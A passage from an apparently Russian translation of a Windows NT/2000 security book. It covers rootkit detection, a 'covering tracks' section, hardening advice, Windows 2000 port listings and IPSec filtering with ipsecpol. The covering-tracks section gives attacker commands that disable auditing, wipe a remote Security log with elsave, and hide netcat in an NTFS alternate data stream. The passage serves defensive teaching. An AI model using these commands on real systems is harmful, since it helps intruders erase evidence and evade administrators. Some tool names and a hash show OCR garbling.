            Сейчас важно подчеркнуть одно из золотых правил обеспечения безопасности и восстановления после сбоев: известные состояния (known states) и повторяемость (repeatability). Производственные системы зачастую должны быть быстро переустановлены, так что хорошо документированная и достаточно автоматизированная процедура установки позволит сэкономить много времени. Наличие проверенных носителей, готовых для выполнения процедуры восстановления, также достаточно важно. Если под рукой имеется компакт-диск с полностью сконфигурированным образом Web-сервера, то выигрыш во времени окажется еще более значительным. Другим хорошим приемом является документирование процесса настройки производственного режима эксплуатации, а не промежуточного режима, поскольку в процессе построения системы или ее обслуживания могут появиться изъяны в системе защиты (появления новых совместно используемых ресурсов и т.д.). Убедитесь, что в вашем распоряжении имеется контрольный список или автоматизированный сценарий возврата в производственный режим.
            Подсчет контрольных сумм также оказывается хорошей защитой против использования наборов "отмычек", однако этот прием нужно применять к системе в исходном состоянии (т.е. такой подход представляет собой превентивную меру, которая окажется бесполезной после возникновения неприятностей). Средства, подобные свободно распространяемой утилите MDSsum, способны "снимать" образы файлов и уведомлять о нарушении их целостности при возникновении изменений. Для системы Windows двоичный код утилиты MDSsum можно найти по адресу http: //sourceware.cygnus.com/cygwin/. С ее помощью для файла можно вычислить или проверить профильное сообщение (message digest) длиной 128 бит. При этом применяется популярный алгоритм MD5 Рона Райвеста (Ron Rivest) из лаборатории MIT Laboratory for Computer Science and RSA Security. Этот алгоритм описан в документе RFC 1321. В следующем примере утилита MDSsum показана в работе в процессе генерации контрольной суммы для файла с последующей ее проверкой.

            D:\Toolbox>md5sum d:\test.txt > d:\test.md5
            D:\Toolbox>cat d:\test.md5
            efd3907b04b037774d831596f2clbl4a d:\Xtest.txt
            D:\Toolbox>md5sum —check d:\test.md5
            d:\Xtest.txt: OK

            К сожалению, утилита MDSsum одновременно работает лишь с одним файлом (конечно, использование сценариев несколько смягчает это неудобство).
            К более эффективным средствам выявления вторжений в файловую систему относится хорошо известная утилита Tripwire, которую можно найти по адресу http://www.tripwire.com. С ее помощью можно выполнить аналогичный подсчет контрольных сумм для широкого диапазона систем.

            Перенаправление исполняемых файлов, выполняемое набором "отмычек" системы NT/2000, теоретически может нейтрализовать подсчет контрольных сумм. Однако поскольку код при этом не изменяется, но в то же время "захватывается" и передается через другую программу, то такой прецедент все же можно выявить.

            Необходимо упомянуть еще несколько важных утилит, предназначенных для проверки содержимого двоичных файлов. К ним относится старая утилита UNIX strings, перенесенная на платформу Windows (также разработана компанией Cygnus), BinText от Робина Кейра  и мощный редактор текста/ шестнадцатеричных данных UltraEdit32 для Windows, который можно найти по адресу http: //www.ultraedit.com. Мы считаем, что редактор BinText лучше всего поместить в папку SendTo, так чтобы его можно было активизировать при щелчке правой кнопкой мыши на имени файлов в проводнике Windows. Для этих же целей редактор UltraEdit32 помещает в контекстное меню соответствующую команду.
            И наконец, относительно набора "отмычек" NT/2000 Греша можно сказать, что наличие файлов deploy.exe и _root_.sys служит явным подтверждением нападения (или как минимум любознательности хозяина компьютера). К счастью, запуск и завершение набора "отмычек" можно выполнить с использованием команды net.

            net start _root_
            net stop _root_

            В Windows 2000 появилось средство защиты файлов операционной системы (Windows File Protection), которое предотвращает перезапись системных файлов, установленных программой инсталляции Windows 2000 (для этого около 600 файлов хранится в папке %systemroot%). В последних сообщениях, появившихся в бюллетене NTBugtraq, содержится информация о том, что систему WFP можно обойти, особенно, если ранее были получены привилегии администратора.


            14. Сокрытие следов



            Сокрытие следов


            Как только злоумышленник получит права администратора, он, скорее всего, постарается скрыть факт своего присутствия в системе. Затем, получив всю интересующую его информацию, он создаст потайные ходы и примет все меры, чтобы спрятать установленные им утилиты. Если с обеими задачами он справится успешно, то подготовка и проведение повторной атаки займет у него гораздо меньше времени.


            15. Отключение аудита



            Отключение аудита


            Если владелец взламываемой системы хоть немного беспокоится о безопасности, он обязательно включит режим аудита, о чем мы уже говорили выше в данной главе. Поскольку ведение журналов может снизить производительность интенсивно работающих серверов, особенно если регистрируются такие события, как, например, успешное выполнение функций управления пользователями и группами (флажок Success для события User and Group Management в диалоговом окне Audit Policy диспетчера пользователей), многие администраторы NT либо вообще не включают функций контроля, либо включают лишь некоторые из них. Однако первое, что делает злоумышленник, пытаясь получить привилегии администратора, проверяет, активизирован ли режим аудита, чтобы случайно не "засветиться". Утилита auditpol из набора NTRK позволяет управлять этим процессом. В следующем примере показано, как с помощью утилиты auditpol отключается режим аудита на удаленном компьютере.

            С:\> auditpol /disable
            Running ...
            Local audit information changed successfully ...
            New local audit policy . . .
            (0) Audit Disabled
            AuditCategorySystem = No
            AuditCategoryLogon = Failure
            AuditCategoryObjectAccess = No

            Закончив работу, взломщик может снова включить режим аудита с помощью команды auditpol /enable.


            16. Очистка журнала регистрации событий



            Очистка журнала регистрации событий


            Если деятельность, связанная с получением статуса администратора, оставила красноречивые следы в журнале регистрации событий системы NT, с помощью приложения просмотра событий взломщик может просто стереть все записи журнала. Для этого злоумышленнику достаточно запустить приложение Event Viewer на своем компьютере и подключиться к узлу, к которому он получил доступ. После выполнения аутентификации взломщик может открывать, читать и очищать журналы регистрации событий удаленного узла. При удалении уничтожаются все записи, кроме одной, которая сообщает о том, что журнал регистрации был очищен посторонним. Конечно, даже такого сообщения вполне достаточно, чтобы забить тревогу, но, к сожалению, в распоряжении злоумышленника имеются и другие способы. Например, он может найти файлы журналов в каталоге \winnt\system32 и отредактировать их вручную, хотя это не так-то просто, учитывая сложность синтаксиса журналов NT.
            Одним из средств, значительно упрощающих эту задачу, является утилита Джеспера Лорицена (Jesper Lauritsen). Например, следующая команда обеспечит очистку журнала безопасности на удаленном сервере joel (подразумевается, что необходимый уровень привилегий имеется). C:\>elsave -s \\joel -1 "Security" -С


            17. Скрытие файлов



            Скрытие файлов


            Если злоумышленнику удастся сохранить на взломанной системе установленные им программы, это значительно облегчит его задачу при повторном проникновении. Но, с другой стороны, именно по наличию неизвестно откуда взявшихся программ системный администратор может судить о том, что компьютер был взломан. Таким образом, злоумышленнику нужно предпринять какие-то шаги, чтобы как можно лучше скрыть файлы, которые потребуется запустить при последующих атаках.

            attrib



            Самый простой способ сокрытия файлов состоит в том, чтобы после их копирования в выбранный каталог воспользоваться старой командой DOS attrib, как показано в следующем примере.
            attrib +h [каталог]
            После использования такой команды при просмотре содержимого каталога из командной строки все файлы и каталоги окажутся скрытыми. Однако эта команда окажется бесполезной, если в проводнике Windows установлен режим Show All Files.

            Использование потоков в файлахМТРЗ



            Если на целевом узле используется файловая система NTFS, то для сокрытия файлов взломщик может воспользоваться еще одним приемом. Дело в том, что система NTFS поддерживает несколько потоков (stream) информации внутри файла. Система поддержки потоков в NTFS трактуется компанией Microsoft как "механизм добавления дополнительных атрибутов или информации к файлу без реструктуризации файловой системы". Например, потоки используются при включенном режиме совместимости NTFS с файловой системой Macintosh. Однако к этому же механизму можно прибегнуть и для сокрытия в потоках набора инструментов, установленных хакером.
            В следующем примере показано, как исполняемый файл утилиты netcat помещается в поток, присоединенный к файлу oso00l.009, находящемуся в каталоге winnt\system32\os2. Впоследствии этот файл может быть извлечен для взлома других удаленных систем. Этот файл был выбран из-за того, что он вряд ли вызовет подозрения, но вместо него можно использовать любой другой файл.
            Для того чтобы создать файловый поток, нужно иметь в своем распоряжении утилиту ср из набора NTRK, поддерживающую стандарт POSIX. Синтаксис ее использования прост. Через двоеточие, помещенное после имени файла-контейнера нужно указать имя записываемого в поток файла,
             ср <файл> oso00l.009:<файл>
            Например, 
            ср nc.exe oso00l.009:nс.ехе
            Данная команда помещает файл nc.exe в поток nc.exe файла oso00l. 009. Для того чтобы извлечь утилиту netcat из потока, необходимо воспользоваться следующей командой, ср oso00l.009:nc.exe nc.exe
            При этом изменится дата модификации файла oso00l. 009, но его размер останется прежним (некоторые версии утилиты ср не изменяют даты). Таким образом, скрытые файлы, объединенные с помощью механизма потоков с обычными файлами операционной системы, очень трудно обнаружить.
            Для удаления файла, находящегося в потоке, необходимо скопировать файл-носитель на диск, отформатированный в системе FAT, а затем скопировать его обратно на диск с файловой системой NTFS.
            Файл с несколькими потоками по-прежнему можно запустить на выполнение. Правда, из-за ограничений командного интерпретатора cmd. exe этого нельзя сделать непосредственно, т.е. введя имя файла в командной строке (например, oso00l. 009: nс. ехе), но зато можно воспользоваться командой START, как показано в следующем примере, start oso00l.009:nс.ехе

            Контрмеры: поиск потоков



            Единственным надежным средством, с помощью которого можно обнаружить потоки в файлах NTFS, является утилита Streamfinder компании March Information Systems. Недавно ее приобрела компания Internet Security Systems (ISS), которая, по всей видимости, больше не будет распространять эту утилиту через европейский Web-узел. Копию утилиты Streamfinder можно получить по адресу http://www.hackingexposed.com. Еще одним хорошим средством выявления файловых потоков является утилита sf ind Ди-джея Гласера (JD Glaser).


            18. Резюме



            Резюме



            В этой главе мы рассмотрели настолько широкий спектр возможных атак Windows NT, что у многих читателей может сложиться ошибочное представление о недостаточно надежной системе защиты этой операционной системы. Если это так, значит, мы не справились со стоявшими перед нами задачами. В таком случае хотелось бы еще раз подчеркнуть, что удаленный взлом практически не имеет шансов на успех без привилегий администратора, а получить эти привилегии можно лишь некоторыми хорошо известными способами: путем подбора пароля, его перехвата из сетевого потока данных или с использованием методов социальной инженерии, примененных к доверчивым служащим.
            Поэтому по сравнению с объемом самой главы наши выводы будут относительно короткими. Если вы предпримете следующие простые меры, то 99,99% проблем, связанных с обеспечением безопасности системы NT, исчезнут сами собой. Однако не забывайте об оставшейся 0,01%, о которой вы, скорее всего, пока еще ничего не знаете.

            •  Заблокируйте порты TCP и UDP с номерами 135-139. Этого простого шага уже достаточно, чтобы предотвратить практически все проблемы, связанные с удаленным взломом NT, который рассматривается на страницах этой книга. Эта защитная мера должна быть обязательно предпринята на пограничном шлюзе, защищающем всю сеть. Ее также не помешает использовать и на внутренних устройствах управления доступом. На отдельных узлах, содержащих важные данные, можно также запретить поддержку протокола NetBIOS. Заблокировав порты, не забывайте регулярно сканировать свою сеть, чтобы вовремя обнаружить различные отклонения.
            •  Если ваша сеть NT работает на базе протокола TCP/IP, настройте фильтрацию пакетов TCP/IP в соответствующем диалоговом окне свойств (Control Panel>Network>Protocols>TCP/IP Protocol>Advanced). Установите в нем флажок Enable Security, а затем щелкните на кнопке Configure и настройте параметры фильтрации. Используйте только те порты и протоколы, которые жизненно' необходимы для функционирования системы (хотя передача ICMP-пакетов практически всегда должна быть разрешена).
            •  Задайте значение для параметра RestrictAnonymous системного реестра, как об этом было сказано в главе 3. Кроме того, в статье Q246261 базы знаний компании Microsoft прочитайте о возможных недостатках задания значения для этого параметра, обеспечивающего наиболее жесткий уровень зашиты в системе Win 2000.
            •  Удалите Everyone из списка групп, которым предоставлено право Access this computer from the network. Для этого в окне диспетчера пользователей выберите команду Policies>User Rights.
            •  Установите самый свежий сервисный пакет Service Pack и дополнительные модули обновлений. В процессе выпуска обновлений компания Microsoft руководствуется требованиями обеспечения безопасности, поэтому очень часто оказывается, что без этих модулей обновлений невозможно противостоять некоторым изъянам на уровне ядра, используемых в таких утилитах, как getadmin. Модули обновления для системы NT можно найти по адресу http://www.microsoft.com/security. Конечно, самым полным "обновлением" будет переход на новую версию NT — Windows 2000, — в которой реализовано огромное, множество новых средств обеспечения безопасности. Более подробная информация по этому вопросу содержится в главе 6.
            •  Введите жесткую политику задания паролей, реализуйте ее с использованием библиотеки passfilt и регулярно контролируйте соблюдение установленных требований. Да, правильно, — попробуйте взломать собственную базу данных SAM! Помните о числе 7, которое оказывается достаточно "волшебным", когда дело касается длины пароля в системе NT.
            •  Переименуйте учетную запись Administrator и убедитесь в том, что запрещена учетная запись Guest. Хотя вы узнали, что учетную запись администратора можно идентифицировать, даже после ее переименования, тем не менее, эта мера усложнит задачу злоумышленника.
            •  Убедитесь в том, что пароль администратора выбран достаточно сложным (при необходимости используйте специальные символы ASCII). He забывайте регулярно его менять.
            •  Убедитесь в том, что простые администраторы не используют данных учетных записей администраторов домена для регистрации в качестве локальных администраторов.
            •  Установите утилиту passprop из набора NTRK, чтобы обеспечить блокировку учетных записей администраторов и таким образом воспрепятствовать попыткам методичного подбора паролей.
            •  Установите средство расширенного шифрования SYSKEY файла паролей NT (SAM) (Q248183). Это не остановит взломщиков раз и навсегда, но значительно усложнит их работу.
            •  Включите режим аудита и регистрируйте неудачные попытки выполнения важных системных функций, таких как Logon and Logoff, а также тех, которые оказываются важными при реализации политики безопасности, принятой в вашей организации. Проверяйте файлы журналов еженедельно или же применяйте средства их автоматического анализа.
            •  Убедитесь в том, что доступ к системному' реестру надежно защищен, особенно посредством удаленного доступа, с помощью параметра HKEY_LOCAL_MACHINE\-SYSTEM\ CurrentControlSet\Control\SecurePipeServers\ winreg\AllowedPath.
            •  С помощью системного реестра сделайте компьютер, на котором хранится важная информация, невидимым в сети, установив для этого параметр HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\ Parameters\Hidden, REG_DWORD=1. При этом узел будет удален из всех списков, создаваемых в окне просмотра сети (Network Neighborhood), но при этом он будет по-прежнему будет обмениваться информацией с другими компьютерами.
            •  Не запускайте ненужных служб, а также избегайте использования тех служб, которые запускаются в контексте пользовательской учетной записи.
            •  Выясните, как запускать используемые вами приложения с максимальной степенью безопасности, а если это невозможно, то не запускайте их совсем. Обязательно прочитайте документ Microsoft Internet Information Server 4.0 Security Checklist, который находится по адресу http://www.microsoft.com/technet
              /security/tools.asp
              . В нем собрано очень много ценных советов о защите NT. Вопросы безопасности сервера баз данных SQL 7.0 подробно рассматриваются по адресу http://www.microsoft.com/technet/
              SQL/Technote/secure.asp
              .
            •  Расскажите пользователям о важности паролей и объясните им основные принципы использования учетных записей, чтобы они не попадались на такие трюки, как получение хэш-кодов путем отправки электронного письма-"приманки".
            •  Перейдите на сеть с коммутируемой архитектурой, чтобы в максимальной степени усложнить перехват пакетов, передаваемых в процессе обмена данными по сети (однако это не обеспечит абсолютной безопасности!).
            •  Следите за сообщениями, появляющимися в бюллетенях (Bugtraq — http://www.securityfocus.com/ и NTBugtraq — http://www.ntgugtraq.com/), а также регулярно посещайте собственный Web-узел компании Microsoft, посвященный вопросам обеспечения безопасности, расположенный по адресу http://www. microsoft.com/security.


            Глава 6. Уязвимость Windows 2000



            Глава 6. УЯЗВИМОСТЬ WINDOWS 2000




              1. Уязвимость Windows 2000



              Уязвимость WINDOWS 2000


              Осенью 1999 года компания Microsoft открыла доступ через Internet к нескольким тестовым серверам с бета-версией операционной системы Windows 2000 Server на узле Windows2000test.com, предлагая всем желающим попытаться взломать этот программный продукт.
              Несколько недель спустя, после многочисленных успешных атак со стороны хакеров, этот эксперимент был отменен. Правда, следует отметить, что хакерам не удалось достичь уровня операционной системы. Они лишь обнаружили бреши в приложении Guestbook, основанном на использовании Web-технологии и работающем "на переднем крае" операционной системы. Аналогичные результаты были получены в процессе проведения других подобных тестов.
              Такие тесты включают множество параметров, и мы не станем обсуждать их реальные возможности по выявлению преимуществ системы безопасности Windows 2000 по сравнению с конкурирующими программными продуктами. Однако в результате такого тестирования совершенно очевидно одно: правильно сконфигурированные серверы под управлением Windows 2000 на уровне операционной системы столь же надежны, как любые другие серверные платформы. Наиболее уязвимым местом этой операционной системы является уровень приложений, посредством которого можно обойти системные средства обеспечения безопасности.
              Защищенность Windows 2000 подкреплена множеством новых средств обеспечения безопасности, встроенных в операционные системы Windows нового поколения. К ним относятся реализация собственного протокола IP Security (IPSec), кодирующая файловая система EPS (Encrypting File System), возможность выбора политики безопасности для групп пользователей, шаблоны защиты Security Templates, средство конфигурирования и анализа политики безопасности, а также возможность централизованного удаленного управления на основе использования сервера удаленной аутентификации RADIUS (Remote Authentication Dial-In User Service) и многое другое. При этом бросается в глаза соответствие всех средств обеспечения безопасности общепризнанным стандартам, что свидетельствует об изменении общеизвестной сепаратистской политики компании Microsoft в вопросах обеспечения безопасности.
              Перечисленные технологии обеспечили пользователям NT долгожданные возможности, но достаточно ли корректно они реализованы? Радикальные изменения в Windows 2000, особенно касающиеся нового средства Active Directory (AD), заставят сетевых администраторов изрядно потрудиться при переходе на новую операционную систему. И как показывает опыт, из-за неполной реализации протоколов и проблем совместимости с более ранними версиями говорить о полной безопасности операционной системы можно будет лишь после появления сервисного пакета Service Pack 3.
              Во время написания этой книги появился только сервисный пакет Service Pack 1. В нем устранено порядка 17 ошибок, связанных с вопросами безопасности (на самом деле большинство из них касается Internet Information Server (US) и Internet Explorer (IE)). Этот сервисный пакет можно найти по адресу http: //www.microsoft.com/technet/security/w2kspl.asp. В данной главе будут рассмотрены лишь наиболее важные проблемы, связанные с первым сервисным пакетом. При этом обсуждение будет проводиться в соответствии с описанной выше стандартной методологией атак, включающей в себя следующие этапы: предварительный сбор данных, сканирование, инвентаризацию, проникновение (penetrate), выведение из строя служб (при желании), расширение привилегий, извлечение данных (pilfer), отслеживание деятельности и выявление изъянов процесса инсталляции (install back doors). В этой главе будут кратко затронуты лишь первые этапы стандартной атаки, а именно предварительный сбор данных, сканирование и инвентаризация, о которых шла речь в первых трех главах этой книги.

              Материал этой главы основывается на информации, изложенной в разделах главы 3, посвященных вопросам инвентаризации операционной системы Windows NT/2000, а также в главеб, поэтому настоятельно рекомендуем прочитать эти главы, прежде чем приступать к изучению настоящей главы.

              В процессе обсуждения будут отмечены многие новые возможности обеспечения безопасности, включенные в Windows 2000. Эта новая функциональность поможет системным администраторам избежать многих из описанных ниже проблем.


              2. Предварительный сбор данных



              Предварительный сбор данных


              Как упоминаюсь в главе 1, большинство злоумышленников стараются получить максимум информации, не обращаясь напрямую к интересующему их серверу. Основным источником для предварительного сбора информации является система доменных имен DNS (Domain Name System) — стандартный протокол Internet, обеспечивающий преобразование IP-адресов и осмысленных имен типа www.hackingexposed.com.

              Перенос зоны DNS



              Поскольку пространство имен активного каталога операционной системы Windows 2000 основывается на использовании системы доменных имен, компания Microsoft существенно обновила реализацию сервера DNS в Windows 2000 с целью обеспечения потребностей активного каталога. По умолчанию перенос зоны DNS возможен на любой удаленный узел, что является основным средством сбора предварительной информации. Более подробные сведения по этому вопросу содержатся в главе 3.

               Отключение переноса зоны



              К счастью, реализация системы DNS для Windows 2000 допускает простую возможность ограничения переноса зоны, как описано в главе 3.


              3. Сканирование



              Сканирование


              Операционная система Windows 2000 прослушивает список портов, многие из которых не были задействованы в Windows NT 4 и появились лишь в этой версии операционной системы. В табл. 6.1 приводится список некоторых портов, прослушиваемых по умолчанию контроллером домена Windows 2000. Каждый из них является потенциальной точкой входа в систему.

              Список номеров портов TCP и UDP, используемых службами и программами компании Microsoft, можно найти в перечне ресурсов по адресу http://www.microsoft.com/windows2000/
              library/resouces/reslcit/ samplechapters/default.asp. 

              Таблица 6.1. Список портов, прослушиваемых по умолчанию контроллером домена Windows 2000

              Порт
              Служба
              TCP 25
              SMTP
              TCP 21
              FTP
              TCP/UDP 53
              DNS
              TCP 80
              WWW
              TCP/UDP 88
              Kerberos
              TCP 135
              RPC/DCE Endpoint mapper
              UDP 137
              Служба имен NetBIOS
              UDP 138
              Служба дейтаграмм NetBIOS
              TCP 139
              Служба сеансов NetBIOS
              TCP/UDP 389
              LDAP
              TCP 443
              HTTP поверх SSl/TLS
              TCP/UDP 445
              Microsoft SMB/CIFS
              TCP/UDP 464
              Kerberos kpasswd
              UDP 500
              IKE (Internet Key Exchange) (согласно протоколу IPSec)
              TCP 593
              HTTP RPC Endpoint mapper
              TCP 636
              LDAP поверх SSLДLS
              TCP 3268
              Глобальный каталог службы активных каталогов
              TCP 3269
              Глобальный каталог службы активных каталогов поверх SSL
              TCP 3389
              Терминальный сервер Windows

              Контрмеры: отключение служб и блокировка портов



              Наилучший способ предотвращения всевозможных атак — это блокировка доступа к этим службам как на уровне сети, так и на уровне отдельных компьютеров.
              Внешние устройства контроля доступа к сети (переключатели, маршрутизаторы, брандмауэры и т.д.) нужно сконфигурировать таким образом, чтобы пресечь любые попытки доступа извне ко всем указанным портам, (Обычно это делается следующим образом. Отключаются все протоколы для всех доменов, а затем подключаются только некоторые службы для избранных доменов.) При этом, конечно, необходимо помнить об очевидных исключениях: порт 80 или 443 нужно оставить для работы Web-серверов. Ни один из этих портов не должен быть доступен за пределами сети, и лишь некоторые могут предоставляться для использования проверенными пользователями внутренних подсетей. Особенно это касается контроллера домена. На это есть две причины.

              •  В главе 3 было показано, как можно подключиться к портам TCP 389 и TCP 3268 через службу LDAP и глобальный каталог соответственно и получить данные с сервера.
              •  Как отмечалось в главе 3, служба сеансов NetBIOS Session Service, работающая через порт TCP 139, является одним из источников утечки информации и потенциального взлома сети под управлением Windows NT. Большинство действий, описанных в главе 5, выполняется исключительно через соединения по протоколу NetBIOS. Данные операционной системы Windows 2000 могут также быть получены через порт TCP 445.

              He забудьте прочитать раздел " Отключение служб NetBIOS/SMB в Windows 2000" ниже в этой главе.
              Имеет смысл также защитить порты, находящиеся в состоянии ожидания запросов, отдельных компьютеров. Такая "защита в глубину" значительно затрудняет возможность сетевых атак. Классический совет в этой связи сводится к завершению работы всех ненужных служб с помощью программы services.msc и их отключению. Особое внимание следует уделить котроллерам доменов под управлением Windows 2000: когда контроллеру домена делегируются права сервера (Server) или расширенного сервера (Advanced Server) с помощью команды dcpromo.exe, на нем автоматически устанавливаются служба активного каталога, DNS и сервер DHCP, а также открываются соответствующие порты. Контроллеры доменов — это важнейшие компоненты сети, поэтому они требуют особого обращения. Большинство приложений, файловые службы и службы печати лучше устанавливать на других компьютерах. Стремление к минимуму — первый принцип безопасности.
              Чтобы ограничить доступ к портам отдельных компьютеров, можно использовать проверенные временем фильтры для протокола TCP/IP. Доступ к этим параметрам можно получить через вкладку Options диалогового окна, открываемого с помощью команды Network and Dial-up Connections>Properties>lnternet Protocol (TCP/IP) Properties>Advanced. Однако здесь сохранились старые недостатки. Фильтры протокола TCP/IP применяются сразу ко всем адаптерам. Их установка приведет к невозможности загрузки данных, инициированной даже легитимными соединениями, и сделает невозможным обычный просмотр Web-страниц в броузере системы. Кроме того, для корректного вступления в силу внесенных изменений требуется перегрузить систему.

              Проведенное авторами тестирование Windows 2000 показало, что установка фильтров TCP/IP не блокирует эхо-пакетов ICMP (протокол 1), даже если отключить все протоколы IP, кроме 6 (TCP) и 17 (UDP).

              Фильтры IPSec



              Для установки фильтров на порты отдельных компьютеров лучше использовать фильтры протокола IPSec. Эти фильтры явились побочным результатом новой реализации протокола IPSec для Windows 2000 и были с успехом использованы командами разработчиков сетей Openhack и windows2000test.com. Фильтры IPSec обрабатывают пакеты в стеке сети и просто-напросто выбрасывают те из них, которые не удовлетворяют характеристикам фильтра. В отличие от фильтров TCP/IP фильтры IPSec можно применять к отдельным интерфейсам. Кроме того, они блокируют запросы ICMP (однако они не настолько "тонки", чтобы блокировать отдельные подтипы запросов ICMP, скажем, эхо, отклики на эхо-запросы, временные метки и т.д.). Для вступления в силу фильтров IPSec перезагрузка не требуется (хотя изменение параметров фильтров может привести к разрыву существующих соединений IPSec). Такие фильтры обеспечивают решение проблемы для сервера и неприменимы в качестве средства обеспечения функциональности брандмауэра для рабочих станций, поскольку подобно фильтрам TCP/IP они будут блокировать загрузку информации, инициированную даже допустимыми соединениями (если не будут открыты все порты с более высокими номерами).
              Фильтры IPSec можно создать с помощью аплета Administrative Tools^Local Security Policy (secpol .msc). Щелкните правой кнопкой на элементе IPSec Policies On Local Machine в левой панели окна, а затем выберите из контекстного меню команду Manage IP Filter Lists And Filter Actions.
              Для управления фильтрами IPSec автор книги предпочитает использовать утилиту командной строки ipsecpol.exe. Ее можно применять при создании сценариев, а, кроме того, пользоваться ею гораздо проще, чем утилитой управления политикой IPSec с графическим интерфейсом. Утилиту ipsecpol.exe можно найти по адресу http:/www.microsoft.com/technet/security/tools.asp среди средств конфигурирования безопасности Windows 2000 Internet Server. Следующие команды утилиты ipsecpol. ехе позволяют оставить открытым на данном компьютере только порт 80.

              ipsecpol \\имя_компыотера -w REG -p "Web" -о
              ipsecpol \\имя_компьютера -х -w REG -p "Web"-r
              "BlockAll" -n BLOCK -f 0+* ipsecpol
              \\имл_комльютера -x -w REG -p "Web" -r
              "OkHTTP" -n PASS -f 0:80+*::TCP

              Две последние команды создают политику IPSec под названием Web, включающую два правила фильтрации. Первое из них, BlockAll, блокирует все протоколы поступающих и исходящих сообщений для данного компьютера и всех других компьютеров, а второе, OkHTTP, разрешает трафик через порт 80 данного и всех остальных компьютеров. Если нужно разрешить использование утилиты ping, или других программ, работающих на базе протокола ICMP (чего мы настоятельно не рекомендуем делать без особой необходимости), то в политику Web можно включить такое правило.
              ipsecpol \\имя_компыотера -х -w REG -p "Web" -r "OkICMP" -n PASS -f 0+*::ICMP
               В этом примере политика устанавливается для всех адресов, однако ее можно легко модифицировать на случай одного IP-адреса с помощью ключа -f (табл. 6.2) и направить действие этого правила на один интерфейс. Если система сконфигурирована с помощью этого примера, то при сканировании портов будет виден только порт 80. После отключения политики все порты снова станут доступными.
              Описание всех аргументов, использованных в примере, приводится в табл. 6.2 (для получения полной информации о возможностях утилиты ipsecpol запустите команду ipsecpol -?).

              Таблица 6.2. Параметры утилиты ipsecpol, используемые для фильтрации трафика через компьютеры под управлением Windows 2000

              Параметр
              Описание
              -w REG
              Переводит утилиту ipsecpol в статический режим (static mode), при котором выполняется запись политики в указанное местоположение (в отличие от используемого по умолчанию динамического режима, который действует только во время функционирования службы Policy Agent). Параметр REG определяет, что политика будет записана в системный реестр и подходит для отдельно стоящих Web-серверов (другой параметр, DS, позволяет записывать политику в каталог)
              -P
              Задает произвольное имя (например, web) для данной политики. Если уже существует политика с таким именем, то данное правило добавляется к ней. Например, в третьей строке к политике Web добавляется правило ОШТТР
              -r
              Задает произвольное имя для правила. Если политика уже включает правило с таким именем, то новое правило его заменит
              -n
              В статическом режиме может принимать одно из трех значений: BLOCK, PASS и IN PASS. Конкретные значения параметра описываются ниже
              BLOCK
              Исключает остальные значения параметра -п и создает фильтры блокировки. Эта команда аналогична выбору переключателя Block в программе управления политикой IPSec с графическим интерфейсом
              PASS
              Исключает остальные значения параметра -п и создает фильтры, обеспечивающие передачу данных через порты. Эта команда аналогична выбору переключателя Permit в программе управления политикой IPSec с графическим интерфейсом
              -f
              Задает список, состоящий из одного или нескольких IP-фильтров. Правила фильтрации задаются в следующем формате, получившем название спецификации фильтра (filterspec):
              А . B . C . D/ маска: порт=А .B.C. D/
              маска : порт:Ipprotocol

              где в левой части равенства всегда задается адрес источника, а в правой — адрес получателя. Если знак = заменить на символ +, то будут созданы два зеркальных (mirrored) фильтра, по одному в каждом направлении. Маску и номер порта задавать необязательно. Если они не указаны, то в качестве маски подсети используется 255. 255. 255. 255, а в качестве номера порта — любой порт. Комбинацию А . в . C . D/ маска можно заменить следующими символами:
              0 задает адрес локальной системы 
              * обозначает произвольный адрес 
              имя ONS (заметим, что множественное разрешение игнорируется).
              Тип IP-протокола (например, ICMP) задавать необязательно. Если он не указан, то подразумевается любой IP-протокол. Чтобы задать конкретный IP-протокол, перед его названием необходимо точно указать номер порта или символ : :
              -x
              Необязательный параметр, активизирующий политику в случае ее записи в системный реестр локальной машины (он использовался в предыдущем примере при определении первого правила. По каким-то причинам этот параметр работает только при создании первого фильтра политики)

              Необязательный параметр, отключающий политику в случае ее записи в системный реестр локальной машины
              -o
              Необязательный параметр, удаляющий политику, имя которой задано параметром -р. (Заметим, что при этом удаляются все аспекты указанной политики. Его не следует использовать, если другие политики ссылаются на объекты данной политики)

              Следует отметить, что фильтры IPSec не блокируют порт 500 (UDP) или, на контроллерах домена Win 2000, порт 88 (TCP/UDP), используемые для аутентификации IPSec (порт 88 применяется протоколом Kerberos, a 500 — для обмена ключами IKE (Internet Key Exchange)). Сервисный пакет Service Pack 1 включает новый параметр реестра, позволяющий закрыть порты Kerberos путем отмены привилегий для драйвера IPSec:

              HKLM\SYSTEM\CurrentControlSet\
              Services\IPSEC\NoDefaultExempt
              Type: DWORD
              Max: 1
              Min: 0
              Default: 0

              Трафик IKE всегда был привилегированным, и параметры системного реестра на него не влияли. Если же этот параметр реестра принимает значение 1, то все "льготы" для протоколов Kerberos и RSVP отменяются по умолчанию.

              Автор высказывает благодарность Майклу Ховарду (Michael Howard) из группы обеспечения безопасности Windows 2000 за помощь в изучении команды ipsecpol и нового параметра системного реестра.

              Поскольку утилита ipsecpol использует синтаксис командной строки, с ней нужно обращаться очень осторожно. В рассмотренном выше примере предполагается, что список фильтров обрабатывается сверху вниз. Простое изменение порядка следования записей в списке может привести к неправильной работе фильтров. Кроме того, утилита не позволяет задать диапазон портов для источника или назначения. Так что несмотря на значительные улучшения, обеспечиваемые фильтрами IPSec по сравнению с фильтрами TCP/IP, с ними нужно обращаться очень аккуратно. Иначе желание блокировать порты так и останется лишь желанием. Отметим еще несколько особенностей, выявленных процессе интенсивного тестирования утилиты ipsecpol.

              •  Для отмены политики иногда приходится отключать ее с помощью ключа -у до или после ее удаления с использованием параметра -о. Автору приходилось сталкиваться с ситуацией, когда даже удаленная политика продолжает действовать до момента ее отключения.
              •  При изменении политики необходимо пользоваться либо только утилитой командной строки ipsecpol, либо исключительно программой с графическим интерфейсом. Если политика была создана с помощью программы ipsecpol, а затем отредактирована в другой программе, то при ее работе возможны сбои и бреши в защите.
              •  Не забывайте удалять ненужные фильтры, чтобы избежать конфликтов. Эту задачу лучше выполнять с помощью программы с графическим интерфейсом, поскольку в ней отображается список всех существующих фильтров.



              4. Инвентаризация



              Инвентаризация


              В главе 3 было показано, как из операционной системы Windows NT 4.0 можно получить сведения об учетных записях, совместно используемых ресурсах и другую информацию. Было показано, что служба NetBIOS передает эти данные анонимным пользователям, проникающим в систему через злополучный нулевой сеанс. Там же было указано, что служба активных каталогов предоставляет эту информацию неаутентифицированным злоумышленникам. Здесь мы не будем снова описывать эти виды атак, однако отметим, что Windows 2000 обеспечивает некоторые новые возможности по решению проблем со службами NetBIOS и SMB.
